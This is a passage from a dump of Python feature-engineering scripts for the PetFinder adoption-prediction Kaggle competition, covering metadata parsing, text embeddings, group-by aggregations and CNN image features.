file_sentences_sentiment.add_prefix('document_').to_dict()\n\n file_sentiment.update(file_sentences_sentiment)\n file_sentiment.update({\"sentiment_text\": file_sentences_text})\n\n return pd.Series(file_sentiment)\n\n def parse_metadata(self, file):\n file_keys = list(file.keys())\n\n if 'labelAnnotations' in file_keys:\n label_annotations = file['labelAnnotations']\n file_top_score = [x['score'] for x in label_annotations]\n file_top_desc = [x['description'] for x in label_annotations]\n dog_cat_scores = []\n dog_cat_topics = []\n is_dog_or_cat = []\n for label in label_annotations:\n if label['description'] == 'dog' or label['description'] == 'cat':\n dog_cat_scores.append(label['score'])\n dog_cat_topics.append(label['topicality'])\n is_dog_or_cat.append(1)\n else:\n is_dog_or_cat.append(0)\n else:\n file_top_score = []\n file_top_desc = []\n dog_cat_scores = []\n dog_cat_topics = []\n is_dog_or_cat = []\n\n if 'faceAnnotations' in file_keys:\n file_face = file['faceAnnotations']\n n_faces = len(file_face)\n else:\n n_faces = 0\n\n if 'textAnnotations' in file_keys:\n text_annotations = file['textAnnotations']\n file_n_text_annotations = len(text_annotations)\n file_len_text = [len(text['description']) for text in text_annotations]\n else:\n file_n_text_annotations = 0\n file_len_text = []\n\n file_colors = file['imagePropertiesAnnotation']['dominantColors']['colors']\n file_crops = file['cropHintsAnnotation']['cropHints']\n\n file_color_score = [x['score'] for x in file_colors]\n file_color_pixelfrac = [x['pixelFraction'] for x in file_colors]\n file_color_red = [x['color']['red'] if 'red' in x['color'].keys() else 0 for x in file_colors]\n file_color_blue = [x['color']['blue'] if 'blue' in x['color'].keys() else 0 for x in file_colors]\n file_color_green = [x['color']['green'] if 'green' in x['color'].keys() else 0 for x in file_colors]\n file_crop_conf = np.mean([x['confidence'] for x in file_crops])\n file_crop_x = np.mean([x['boundingPoly']['vertices'][1]['x'] for x in file_crops])\n file_crop_y = np.mean([x['boundingPoly']['vertices'][3]['y'] for x in file_crops])\n\n if 'importanceFraction' in file_crops[0].keys():\n file_crop_importance = np.mean([x['importanceFraction'] for x in file_crops])\n else:\n file_crop_importance = 0\n\n metadata = {\n 'annots_top_desc': ' '.join(file_top_desc),\n 'n_faces': n_faces,\n 'n_text_annotations': file_n_text_annotations,\n 'crop_conf': file_crop_conf,\n 'crop_x': file_crop_x,\n 'crop_y': file_crop_y,\n 'crop_importance': file_crop_importance,\n }\n metadata.update(self.get_stats(file_top_score, 'annots_score'))\n metadata.update(self.get_stats(file_color_score, 'color_score'))\n metadata.update(self.get_stats(file_color_pixelfrac, 'color_pixel_score'))\n metadata.update(self.get_stats(file_color_red, 'color_red_score'))\n metadata.update(self.get_stats(file_color_blue, 'color_blue_score'))\n metadata.update(self.get_stats(file_color_green, 'color_green_score'))\n metadata.update(self.get_stats(dog_cat_scores, 'dog_cat_scores'))\n metadata.update(self.get_stats(dog_cat_topics, 'dog_cat_topics'))\n metadata.update(self.get_stats(is_dog_or_cat, 'is_dog_or_cat'))\n metadata.update(self.get_stats(file_len_text, 'len_text'))\n\n return pd.Series(metadata)\n\n def _transform(self, path, sentiment=True):\n file = self.open_json_file(path)\n if sentiment:\n result = self.parse_sentiment_file(file)\n else:\n result = self.parse_metadata(file)\n return result\n\n\ndef len_text_features(train):\n train['Length_Description'] = train['Description'].map(len)\n train['Length_annots_top_desc'] = train['annots_top_desc'].map(len)\n train['Lengths_sentences_text'] = train['sentences_text'].map(len)\n\n return train\n\n\nwith timer('merge additional files'):\n train = merge_breed_name(train)\n\nwith timer('metadata'):\n # TODO: parallelization\n meta_parser = MetaDataParser()\n sentiment_features = meta_parser.sentiment_files['sentiment_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=True))\n meta_parser.sentiment_files = pd.concat([meta_parser.sentiment_files, sentiment_features], axis=1, sort=False)\n meta_features = meta_parser.metadata_files['metadata_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=False))\n meta_parser.metadata_files = pd.concat([meta_parser.metadata_files, meta_features], axis=1, sort=False)\n\n stats = ['mean', 'min', 'max', 'median']\n columns = [c for c in sentiment_features.columns if c != 'sentiment_text']\n g = meta_parser.sentiment_files[list(sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\n columns = [c for c in meta_features.columns if c != 'annots_top_desc']\n g = meta_parser.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\nwith timer('metadata, annots_top_desc'):\n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc']]\n meta_features = meta_features.groupby('PetID')['annots_top_desc'].sum().reset_index()\n train = train.merge(meta_features, how='left', on='PetID')\n\n sentiment_features = meta_parser.sentiment_files[['PetID', 'sentiment_text']]\n sentiment_features = sentiment_features.groupby('PetID')['sentiment_text'].sum().reset_index()\n train = train.merge(sentiment_features, how='left', on='PetID')\n\n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentences_text']:\n train['desc'] += ' ' + train[c].astype(str)\n\n\nwith timer('kernel text features'):\n orig_cols = train.columns\n train = len_text_features(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\n train[new_cols].to_feather(\"../feature/kernel_text.feather\")" }, { "alpha_fraction": 0.742222249507904, "alphanum_fraction": 0.742222249507904, "avg_line_length": 36.66666793823242, "blob_id": "0ddd8564f4d7aa8f39252c29e4962a5ad9392d7c", "content_id": "7d322511be3b3c3eabd0d7fa562a010b53542589", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "permissive", "max_line_length": 85, "num_lines": 6, "path": "/code/fe/14name_features.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\norig_cols = train.columns\ntrain = get_name_features(train)\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].reset_index(drop=True).to_feather(\"../feature/name_features.feather\")" }, { "alpha_fraction": 0.5518316626548767, "alphanum_fraction": 0.5666406750679016, "avg_line_length": 31.923076629638672, "blob_id": "6b29d72f2092b5690f15a99e537f3465f69262f0", "content_id": "6086cebda97dacb8080f8538b2a49263c4392c36", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1283, "license_type": "permissive", "max_line_length": 114, "num_lines": 39, "path": "/code/fe/37pymag_agg.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom pymagnitude import *\nfrom utils import *\n\n\ndef w2v_pymagnitude(train_text, path, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n model = Magnitude(path)\n\n result = []\n for text in train_corpus:\n vec = []\n for word in text:\n try:\n vec_ = model.query(word)\n except:\n continue\n vec.append(vec_)\n if len(vec) == 0:\n vec = np.zeros((1, model.dim))\n else:\n vec = np.array(vec)\n mean_vec = np.mean(vec, axis=0)\n median_vec = np.median(vec, axis=0)\n min_vec = np.min(vec, axis=0)\n max_vec = np.max(vec, axis=0)\n var_vec = np.var(vec, axis=0)\n result.append(list(mean_vec) + list(median_vec) + list(min_vec) + list(max_vec) + list(var_vec))\n\n w2v_cols = [\"{}_mag{}_{}\".format(name, i, stats) for stats in [\"mean\", \"median\", \"min\", \"max\", \"var\"] for i in\n range(1, model.dim + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\npath = \"../../input/pymagnitude-data/glove.840B.300d.magnitude\"\nresult = w2v_pymagnitude(train[\"Description\"], path, name=\"glove\")\nresult.to_feather(\"../feature/glove_mag_agg.feather\")" }, { "alpha_fraction": 0.3905930519104004, "alphanum_fraction": 0.393319696187973, "avg_line_length": 27.784313201904297, "blob_id": "565cfd68f92aa8f31f51408a907c5a5db115b2ac", "content_id": "d450a924b18d4909174ad72ea1c99ce60c5dd894", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1467, "license_type": "permissive", "max_line_length": 59, "num_lines": 51, "path": "/code/fe/10agg_v3.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\norig_cols = train.columns\nstats = ['mean', 'sum', 'median', 'min', 'max']\ngroupby_dict = [\n {\n 'key': ['RescuerID'],\n 'var': ['Fee'],\n 'agg': ['count'] + stats\n },\n {\n 'key': ['RescuerID', 'State'],\n 'var': ['Fee'],\n 'agg': ['count'] + stats\n },\n {\n 'key': ['RescuerID', 'Type'],\n 'var': ['Fee'],\n 'agg': ['count'] + stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'],\n 'var': ['Fee'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'],\n 'var': ['Fee'],\n 'agg': stats\n },\n {\n 'key': ['State'],\n 'var': ['Fee'],\n 'agg': stats\n },\n {\n 'key': ['MaturitySize'],\n 'var': ['Fee'],\n 'agg': stats\n },\n ]\ngroupby = GroupbyTransformer(param_dict=groupby_dict)\ntrain = groupby.transform(train)\ndiff = DiffGroupbyTransformer(param_dict=groupby_dict)\ntrain = diff.transform(train)\nratio = RatioGroupbyTransformer(param_dict=groupby_dict)\ntrain = ratio.transform(train)\nnew_cols = [c for c in train.columns if c not in orig_cols]\n\ntrain[new_cols].to_feather(\"../feature/agg_v3.feather\")" }, { "alpha_fraction": 0.5435153841972351, "alphanum_fraction": 0.5767918229103088, "avg_line_length": 28.325000762939453, "blob_id": "52d55c0244430eabbe22f77b2bba44467c641a7f", "content_id": "247965f26582ca71c177fe05be6c209636829d92", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1172, "license_type": "permissive", "max_line_length": 71, "num_lines": 40, "path": "/code/fe/17gensim_glove.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from gensim.models import KeyedVectors\nfrom gensim.scripts.glove2word2vec import glove2word2vec\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n glove_file = '../../input/glove.840B.300d/glove.840B.300d.txt'\n tmp_file = \"../../input/glove.840B.300d/test_word2vec.txt\"\n _ = glove2word2vec(glove_file, tmp_file)\n model = KeyedVectors.load_word2vec_format(tmp_file)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"glove{}\".format(i) for i in range(1, 300 + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n result = w2v(train[\"Description\"])\n result.to_feather(\"../feature/glove.feather\")" }, { "alpha_fraction": 0.45657727122306824, "alphanum_fraction": 0.4757343530654907, "avg_line_length": 30.34000015258789, "blob_id": "c697a8a5c5409a96479559a207b49007ba398f48", "content_id": "6c80064abd888cb23c4e04835a1351d28bde0cff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1566, "license_type": "permissive", "max_line_length": 92, "num_lines": 50, "path": "/code/fe/30agg_dense.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom utils import *\n\n\ndf = feather.read_dataframe(\"../X_train9.feather\")[['img_{}'.format(i) for i in range(256)]]\ndf_ = feather.read_dataframe(\"../X_test9.feather\")[['img_{}'.format(i) for i in range(256)]]\ndf = df.append(df_).reset_index(drop=True)\ntrain = pd.concat([df, train.reset_index(drop=True)], axis=1)\n\n\nwith timer('aggregation'):\n orig_cols = train.columns\n stats = ['mean', 'median', 'min', 'max', 'sum', 'var']\n groupby_dict = [\n {\n 'key': ['RescuerID'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'Type'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n {\n 'key': ['State'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n {\n 'key': ['MaturitySize'],\n 'var': ['img_{}'.format(i) for i in range(256)],\n 'agg': stats\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\n train[new_cols].to_feather(\"../feature/agg_img.feather\")" }, { "alpha_fraction": 0.5908125042915344, "alphanum_fraction": 0.5993096232414246, "avg_line_length": 34.876190185546875, "blob_id": "dd587f2599a391d14ce124947f34ed656d4aba05", "content_id": "cd185b03f5f757add88a4f2e8ca1aa1e3b091ca9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3766, "license_type": "permissive", "max_line_length": 114, "num_lines": 105, "path": "/code/fe/34meta_embedding.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\ndef pretrained_w2v(train_text, embedding, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(model.vector_size)\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w - n_skip == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, model.vector_size + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n del model;\n gc.collect()\n\n return result\n\n\ndef w2v_pymagnitude(train_text, path, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n model = Magnitude(path)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(model.dim)\n for n_w, word in enumerate(text):\n try:\n vec_ = model.query(word)\n except:\n n_skip += 1\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}_mag{}\".format(name, i) for i in range(1, model.dim + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n del model;\n gc.collect()\n\n return result\n\n\nwith timer('merge additional files'):\n train = merge_breed_name(train)\n\nwith timer('metadata'):\n # TODO: parallelization\n meta_parser = MetaDataParser()\n sentiment_features = meta_parser.sentiment_files['sentiment_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=True))\n meta_parser.sentiment_files = pd.concat([meta_parser.sentiment_files, sentiment_features], axis=1, sort=False)\n meta_features = meta_parser.metadata_files['metadata_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=False))\n meta_parser.metadata_files = pd.concat([meta_parser.metadata_files, meta_features], axis=1, sort=False)\n\n stats = ['mean', 'min', 'max', 'median']\n g = meta_parser.sentiment_files[list(sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in sentiment_features.columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\n columns = [c for c in meta_features.columns if c != 'annots_top_desc']\n g = meta_parser.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\nwith timer('metadata, annots_top_desc'):\n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc']]\n meta_features = meta_features.groupby('PetID')['annots_top_desc'].sum().reset_index()\n train = train.merge(meta_features, how='left', on='PetID')\n\n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc']:\n train['desc'] += ' ' + train[c].astype(str)\n\nwith timer('fasttext meta'):\n embedding = '../../input/quora-embedding/GoogleNews-vectors-negative300.bin'\n X = pretrained_w2v(train[\"desc\"], embedding, name=\"fast_meta\")\n X.to_feather(\"../feature/fast_meta.feather\")\n\nwith timer('glove meta'):\n embedding = \"../../input/pymagnitude-data/glove.840B.300d.magnitude\"\n X = w2v_pymagnitude(train[\"desc\"], embedding, name=\"glove_meta\")\n X.to_feather(\"../feature/glove_meta.feather\")" }, { "alpha_fraction": 0.5500625967979431, "alphanum_fraction": 0.5707134008407593, "avg_line_length": 47.45454406738281, "blob_id": "89f5da13199160678330fc813076ba5cb6cca382", "content_id": "55cf54af53a28da7027e92727312f93ee9508149", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1598, "license_type": "permissive", "max_line_length": 107, "num_lines": 33, "path": "/code/fe/11char_vec.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nwith timer('tfidf3 + svd / nmf'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), use_idf=1, smooth_idf=1, sublinear_tf=1, stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n n_jobs=2,\n ),\n )\n X = vectorizer.fit_transform(train['Description'])\n X = pd.DataFrame(X, columns=['tfidf3_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf3_nmf_{}'.format(i) for i in range(n_components)])\n X.to_feather(\"../feature/tfidf3.feather\")\n\nwith timer('count3 + svd / nmf'):\n vectorizer = make_pipeline(\n CountVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description'])\n X = pd.DataFrame(X, columns=['count3_svd_{}'.format(i) for i in range(n_components)]\n + ['count3_nmf_{}'.format(i) for i in range(n_components)])\n X.to_feather(\"../feature/count3.feather\")" }, { "alpha_fraction": 0.5473289489746094, "alphanum_fraction": 0.5660731196403503, "avg_line_length": 27.105262756347656, "blob_id": "0ca23f6bb05f4ad5ca7173873111f5f19b4874af", "content_id": "b55f6d174f96ccf81e7f0af95a9d32d5f83a95a0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1067, "license_type": "permissive", "max_line_length": 101, "num_lines": 38, "path": "/code/fe/18gensim_googlenews_vec.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom gensim.models import KeyedVectors\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n model = KeyedVectors.load_word2vec_format(\n '../../input/GoogleNews-vectors-negative300/GoogleNews-vectors-negative300.bin', binary=True)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model.wv[word]\n except:\n n_skip += 1\n continue\n if n_w - n_skip == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"gnvec{}\".format(i) for i in range(1, 300 + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n result = w2v(train[\"Description\"])\n result.to_feather(\"../feature/gnvec.feather\")" }, { "alpha_fraction": 0.5988892316818237, "alphanum_fraction": 0.6149336695671082, "avg_line_length": 41.657894134521484, "blob_id": "49fc5ff143c8ae20909b594f78e1e7672f070e27", "content_id": "8ac8d7234c331eec3934261ded685cd5381d1143", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3241, "license_type": "permissive", "max_line_length": 131, "num_lines": 76, "path": "/code/fe/42inception_resnet.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "#https://www.kaggle.com/keras/inceptionresnetv2\nfrom utils import *\n\nfrom keras.applications.inception_resnet_v2 import InceptionResNetV2, preprocess_input\nfrom keras.layers import Conv1D\n\ndef resize_to_square(im):\n old_size = im.shape[:2] # old_size is in (height, width) format\n ratio = float(img_size)/max(old_size)\n new_size = tuple([int(x*ratio) for x in old_size])\n # new_size should be in (width, height) format\n im = cv2.resize(im, (new_size[1], new_size[0]))\n delta_w = img_size - new_size[1]\n delta_h = img_size - new_size[0]\n top, bottom = delta_h//2, delta_h-(delta_h//2)\n left, right = delta_w//2, delta_w-(delta_w//2)\n color = [0, 0, 0]\n new_im = cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT,value=color)\n return new_im\n\n\ndef load_image(path):\n image = cv2.imread(path)\n #new_image = resize_to_square(image)\n new_image = cv2.resize(image, (inp[0][0], inp[0][1]))\n new_image = preprocess_input(new_image)\n return new_image\n\nwith timer('image'):\n train_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n\nwith timer('densenet'):\n batch_size = 16\n pet_ids = train_images['PetID'].values\n img_pathes = train_images['image_filename'].values\n n_batches = len(pet_ids) // batch_size + 1\n\n inp = Input((256, 256, 3))\n backbone = InceptionResNetV2(input_tensor=inp,\n weights='../../input/Inception-Resnet-V2/inception_resnet_v2_weights_tf_dim_ordering_tf_kernels_notop.h5',\n include_top=False)\n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n x = AveragePooling1D(4)(x)\n out = Lambda(lambda x: x[:, :, 0])(x)\n m = Model(inp, out)\n m.summary()\n\n features = []\n for b in range(n_batches):\n start = b * batch_size\n end = (b + 1) * batch_size\n batch_pets = pet_ids[start: end]\n batch_path = img_pathes[start: end]\n batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n for i,(pet_id, path) in enumerate(zip(batch_pets, batch_path)):\n try:\n batch_images[i] = load_image(path)\n except:\n try:\n batch_images[i] = load_image(path)\n except:\n pass\n batch_preds = m.predict(batch_images)\n for i, pet_id in enumerate(batch_pets):\n features.append([pet_id] + list(batch_preds[i]))\n X = pd.DataFrame(features, columns=[\"PetID\"]+[\"inceptionresnetv2_{}\".format(i) for i in range(batch_preds.shape[1])])\n gp = X.groupby(\"PetID\").mean().reset_index()\n #train = pd.merge(train, gp, how=\"left\", on=\"PetID\")\n del m; gc.collect()\n pd.merge(train[[\"PetID\"]], gp, how=\"left\", on=\"PetID\").drop(\"PetID\", axis=1).to_feather(\"../feature/inceptionresnetv2.feather\")" }, { "alpha_fraction": 0.4938689172267914, "alphanum_fraction": 0.4997885823249817, "avg_line_length": 35.96875, "blob_id": "93a4a50a1e5a95c608acb441d2cb79befcc12a52", "content_id": "807ec54858fff9d0e7a9e2413ee527ab7adb4518", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2365, "license_type": "permissive", "max_line_length": 70, "num_lines": 64, "path": "/code/fe/31agg_tfidf.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom utils import *\n\nvar = ['tfidf_svd_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['count_svd_{}'.format(i) for i in range(n_components)] \\\n + ['count_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf2_svd_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf2_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['count2_svd_{}'.format(i) for i in range(n_components)] \\\n + ['count2_nmf_{}'.format(i) for i in range(n_components)]\ndf = feather.read_dataframe(\"../X_train9.feather\")[var]\ndf_ = feather.read_dataframe(\"../X_test9.feather\")[var]\ndf = df.append(df_).reset_index(drop=True)\ntrain = pd.concat([df, train.reset_index(drop=True)], axis=1)\n\nwith timer('aggregation'):\n orig_cols = train.columns\n stats = ['mean', 'sum', 'median', 'min', 'max']\n var = ['tfidf_svd_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['count_svd_{}'.format(i) for i in range(n_components)] \\\n + ['count_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf2_svd_{}'.format(i) for i in range(n_components)] \\\n + ['tfidf2_nmf_{}'.format(i) for i in range(n_components)] \\\n + ['count2_svd_{}'.format(i) for i in range(n_components)] \\\n + ['count2_nmf_{}'.format(i) for i in range(n_components)]\n groupby_dict = [\n {\n 'key': ['RescuerID'],\n 'var': var,\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'Type'],\n 'var': var,\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'],\n 'var': var,\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'],\n 'var': var,\n 'agg': stats\n },\n {\n 'key': ['State'],\n 'var': var,\n 'agg': stats\n },\n {\n 'key': ['MaturitySize'],\n 'var': var,\n 'agg': stats\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\n train[new_cols].to_feather(\"../feature/agg_tfidf.feather\")" }, { "alpha_fraction": 0.5693228840827942, "alphanum_fraction": 0.585905134677887, "avg_line_length": 42.439998626708984, "blob_id": "02aa196fa61d6db597fc966902aaa44d5175923e", "content_id": "2a45b07fbc81f2cca1b71f2ee8c534b1af42ee7a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2171, "license_type": "permissive", "max_line_length": 122, "num_lines": 50, "path": "/code/fe/26dense169.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\nwith timer('image'):\n train_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n\nwith timer('densenet'):\n batch_size = 16\n pet_ids = train_images['PetID'].values\n img_pathes = train_images['image_filename'].values\n n_batches = len(pet_ids) // batch_size + 1\n\n inp = Input((256, 256, 3))\n backbone = DenseNet169(input_tensor=inp,\n weights='../../input/densenet-keras/DenseNet-BC-169-32-no-top.h5',\n include_top=False)\n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n x = Lambda(lambda x: K.expand_dims(x, axis=-1))(x)\n x = AveragePooling1D(4)(x)\n out = Lambda(lambda x: x[:, :, 0])(x)\n m = Model(inp, out)\n\n features = []\n for b in range(n_batches):\n start = b * batch_size\n end = (b + 1) * batch_size\n batch_pets = pet_ids[start: end]\n batch_path = img_pathes[start: end]\n batch_images = np.zeros((len(batch_pets), img_size, img_size, 3))\n for i,(pet_id, path) in enumerate(zip(batch_pets, batch_path)):\n try:\n batch_images[i] = load_image(path)\n except:\n try:\n batch_images[i] = load_image(path)\n except:\n pass\n batch_preds = m.predict(batch_images)\n for i, pet_id in enumerate(batch_pets):\n features.append([pet_id] + list(batch_preds[i]))\n X = pd.DataFrame(features, columns=[\"PetID\"]+[\"dense169_{}\".format(i) for i in range(batch_preds.shape[1])])\n gp = X.groupby(\"PetID\").mean().reset_index()\n #train = pd.merge(train, gp, how=\"left\", on=\"PetID\")\n del m; gc.collect()\n pd.merge(train[[\"PetID\"]], gp, how=\"left\", on=\"PetID\").drop(\"PetID\", axis=1).to_feather(\"../feature/dense169.feather\")" }, { "alpha_fraction": 0.5953390002250671, "alphanum_fraction": 0.610805094242096, "avg_line_length": 40.76106262207031, "blob_id": "e0bc5e07999c0624b23162c1c88ffb86db103951", "content_id": "b25f0bb34e357206f560af2f1d9c7db6c9097b8e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4720, "license_type": "permissive", "max_line_length": 114, "num_lines": 113, "path": "/code/fe/46quora_fasttext_selftrain.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\ndef selftrain_w2v(train_text, model_base, embed_path, w2v_params, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n model = word2vec.Word2Vec(**w2v_params)\n model.build_vocab(train_corpus)\n total_examples = model.corpus_count\n model.build_vocab([list(model_base.vocab.keys())], update=True)\n model.intersect_word2vec_format(embed_path, binary=True, lockf=1.0)\n model.train(train_corpus, total_examples=total_examples, epochs=model.iter)\n # model2.intersect_word2vec_format(embed_path, binary=True, lockf=1.0)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(model.vector_size)\n for n_w, word in enumerate(text):\n if word in model: # 0.9906\n vec = vec + model.wv[word]\n continue\n word_ = word.upper()\n if word_ in model: # 0.9909\n vec = vec + model.wv[word_]\n continue\n word_ = word.capitalize()\n if word_ in model: # 0.9925\n vec = vec + model.wv[word_]\n continue\n word_ = ps.stem(word)\n if word_ in model: # 